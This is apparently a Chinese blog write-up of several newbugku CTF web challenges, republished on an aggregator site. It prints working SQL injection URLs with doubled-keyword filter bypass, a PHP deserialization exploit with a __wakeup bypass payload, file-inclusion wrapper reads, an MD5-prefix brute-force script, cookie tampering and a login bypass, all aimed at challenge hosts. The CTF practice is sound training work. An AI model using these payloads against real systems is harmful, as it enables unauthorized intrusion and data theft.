美文网首页
newbugku部分web题解

newbugku部分web题解

作者: Ice_Creamer | 来源:发表于2019-04-28 22:52 被阅读0次

我的博客：https://yml-sec.top
有的图片上传失败了，可以去我的博客看原文。

web1

题目代码

5cc042e715786.png

看到extract函数，联想到常见的变量覆盖漏洞

根据我以前写的文章

点击链接

可以构造$b为任意值，后面判断了a和c是否相等，可以使用伪协议来做

18.jpg

web11

打开题目显示如下

19.jpg

标题为robots,尝试访问robots.txt，访问后提示我们shell.php

访问shell.php

[图片上传失败...(image-437e26-1556463025859)]

这块校验和西湖论剑的留言板题目很像，爆破脚本

import hashlib

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()

for i in range(1000000000):
    if md5(str(i))[0:6] == 'dc7dc4':
        print(i)
        break

结果如下

[图片上传失败...(image-107f9a-1556463025859)]

输入爆破出来的数字即可得到flag

22.jpg

web13

提交数据抓包，发现了base64加密的password

23.jpg

解密后是一个flag,但是提交发现并不正确，仔细观察数据包会发现一个hint

Hint: Seeing is not believing, maybe you need to be faster!

尝试将假flag中的字符串当做密码提交

[图片上传失败...(image-de8877-1556463025859)]

提示我们要快一些，这样写脚本就可以了

import requests
import base64
import re
url = "http://123.206.31.85:10013/index.php"
s = requests.session()
html = s.post(url,data={"password":"123456"})
#print(html.text)
password1 = html.headers['password']
password2 = base64.b64decode(password1)
re_str = re.compile('flag{(.*?)}',re.S)
password = re.findall(re_str,str(password2))
print(password[0])
html = s.post(url,data={"password":password[0]})
print(html.text)
25.jpg

web18

题目是一道sql注入，过滤了and or select union 这些可用双写绕过

判断列数

http://123.206.31.85:10018/list.php?id=2' oorrder by 3--+

[图片上传失败...(image-4d7008-1556463025859)]

在判断为4时页面无返回

所以我们得到列数为3

查询数据库名

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,database(),3--+

[图片上传失败...(image-4f7fe1-1556463025859)]

查询表名

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='web18'--+
29.jpg

查询列名

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='flag'--+
30.jpg

获取flag

http://123.206.31.85:10018/list.php?id=-2' uniounionn selecselectt 1,flag,3 from flag--+

[图片上传失败...(image-8c4766-1556463025859)]

web20

题目如下

32.jpg

常规编写脚本即可，key=密文

import requests
import re
while(1):
    url = "http://123.206.31.85:10020/"
    s = requests.session()
    html = s.get(url)
    re1 = re.compile('¼�(.*?)<br/>',re.S)
    result = re.findall(re1,html.text)
    url2 = url+"?key="+result[0]
    html1 = s.get(url2)
    print(html1.text)

有一点要注意，这题目的flag是有几率出现的，需要多跑几次

[图片上传失败...(image-a7d5c6-1556463025859)]

web25

web3

定位到上传界面

[图片上传失败...(image-95ffae-1556463025859)]

观察链接联想到文件包含漏洞，可以使用伪协议读取

用扫描器扫描发现flag.php文件，开始利用伪协议读取

[图片上传失败...(image-a76a38-1556463025859)]

解密后得到flag

[图片上传失败...(image-91bc21-1556463025859)]

web4

题目是一个登录框，尝试使用万能密码登录

37.jpg

提交后竟然登录成功。。。。。

38.jpg

web15

提示vim编辑器，想到临时文件swp

输入swp提交

40.jpg

将1改为i成功解出题目

[图片上传失败...(image-dc4161-1556463025859)]

web22

web21

访问题目查看源码

[图片上传失败...(image-cf963-1556463025859)]

读取class.php的源码

[图片上传失败...(image-d284cb-1556463025859)]

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

提示我们有f1a9.php，这段代码可用反序列化利用

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file = "f1a9.php";
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
$a = new Read;
echo serialize($a);
?>

[图片上传失败...(image-2384ba-1556463025859)]

最后payload

[图片上传失败...(image-bf06d9-1556463025859)]

web23

题目主页面如下

[图片上传失败...(image-7742dc-1556463025859)]

使用扫面器扫出如下页面

[图片上传失败...(image-2857d9-1556463025859)]

readme.txt有如下提示

[图片上传失败...(image-bd324e-1556463025859)]

用户名是admin 密码是三位数字，我们可以用burp爆破

[图片上传失败...(image-d4b986-1556463025859)]

成功登陆后得到flag

[图片上传失败...(image-f29dbb-1556463025859)]

web7

注册登陆后，提示权限不够

50.jpg

尝试抓包

51.jpg

看到u和r的前几位是一样的，后面不一样的部分像是MD5加密后的字符串

在线解了一下

[图片上传失败...(image-f1c710-1556463025859)]

尝试把两个部分都换成admin的MD5加密字符串

[图片上传失败...(image-e8f8e2-1556463025859)]

得到FLAG

web12

题目如下

[图片上传失败...(image-68716c-1556463025859)]

查看源码

[图片上传失败...(image-eddcb8-1556463025859)]

class Time{
    public $flag = ******************;
    public $truepassword = ******************;
    public $time;
    public $password ;
    public function __construct($tt, $pp) {
    $this->time = $tt;
    $this->password = $pp;
    }
    function __destruct(){
        if(!empty($this->password))
        {
            if(strcmp($this->password,$this->truepassword)==0){
                echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
                if(!empty($this->time)){
                    if(!is_numeric($this->time)){
                        echo 'Sorry.<br>';
                        show_source(__FILE__);
                    }
                    else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
                        echo 'you need a bigger time.<br>';
                    }
                    else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
                        echo 'you need a smaller time.<br>';
                    }
                    else{
                        sleep((int)$this->time);
                        var_dump($this->flag);
                    }
                    echo '<hr>';
                }
                else{
                    echo '<h1>you have no time!!!!!</h1><br>';
                }
            }
            else{
                echo '<h1>Password is wrong............</h1><br>';
            }
        }
        else{
            echo "<h1>Please input password..........</h1><br>";
        }
    }
    function __wakeup(){
        $this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';
    }
}
if(isset($_GET['rua'])){
    $rua = $_GET['rua'];
    @unserialize($rua);
}
else{
    echo "<h1>Please don't stop rua 233333</h1><br>";
}

常规的反序列化操作，计算符合条件的时间

56.jpg

exp

<?php
class Time{
    public $time;
    public $password;
    public function __construct($tt, $pp) {
    $this->time = $tt;
    $this->password = $pp;
    }
}

$password = array(0=>'yml');
$time = '0x4c06f351';
$yml = new Time($time,$password);

echo serialize($yml);

?>

payload

57.jpg

绕过wakeup

O:4:"Time":3:{s:4:"time";s:10:"0x4c06f351";s:8:"password";a:1:{i:0;s:3:"yml";}}

得到flag

[图片上传失败...(image-12bfae-1556463025859)]

web24

相关文章

  • newbugku部分web题解

    我的博客：https://yml-sec.top有的图片上传失败了，可以去我的博客看原文。 web1 题目代码 看...

  • HCTF 2018 部分Web题解

    Warmup 先看hint 看了下是文件包含，checkFile函数$_page取file参数第一个问号之前的字段...

  • Bugku-CTF题解WEB部分

    去训练一下基础！ Bugku地址：https://ctf.bugku.com/challenges 0x01 we...

  • Python 各种问题解决 Web Django，程序调试、代

    Python 各种问题解决 Web Django，程序调试、代码讲解、web开发 环境问题、不能运行问题解决 ...

  • 【护网杯】Web部分相关知识点

    参考：2018护网杯-web部分题解本文讲解其中用到的相关知识点。 easy tornado hint.txtmd...

  • De1CTF2020的Web部分题解

    前言 题目质量很好，虽然很难但是学到不少东西！ 0x01 check in 打开题目页面如下： 题目是一个文件上传...

  • Web服务端（Nginx、Tomcat）面试要点

    1 WEB服务端综述部分2 Nginx部分3 Tomcat部分 1 WEB服务端综述部分 1.1 什么是WEB服务...

  • 实验吧-WEB题解

    主要方法 工具 题型3 因缺思汀的绕过 访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。...

  • WpsecCTF Web部分

    web签到题 这题主要考的是对一个网页出现的数据进行收集吧，很简单的一个题目，不过如果你要是没注意一个小小的细节，...

  • python web 部分

    python web 部分 WSGI 什么是 WSGI？ 为什么需要它？ Python Web Server Ga...

网友评论

      本文标题：newbugku部分web题解

      本文链接：https://www.haomeiwen.com/subject/limsnqtx.html

      延伸阅读

      深度阅读

      • 您也可以注册成为美文阅读网的作者，发表您的原创作品、分享您的心情！

      栏目导航

      热点阅读

      关于我们|服务条款|联系我们|newbugku部分web题解|投稿指南|网站地图|RSS订阅|排版工具|手机版

      提供经典美文摘抄,优美散文欣赏,现代诗歌精选,短篇小说,心情随笔,表白情书范文,故事会在线阅读欣赏

      Copyright © 2014-2023 Haomeiwen.com All Rights Reserved. 好美文阅读网 版权所有

      备案信息：桂公网安备 45052102000051号 · 桂ICP备13007215号-3

      本站所收录作品、热点评论等信息部分来源互联网，目的只是为了系统归纳学习和传递资讯

      所有作品版权归原创作者所有，与本站立场无关，如不慎侵犯了你的权益，请联系我们告知，我们将做删除处理！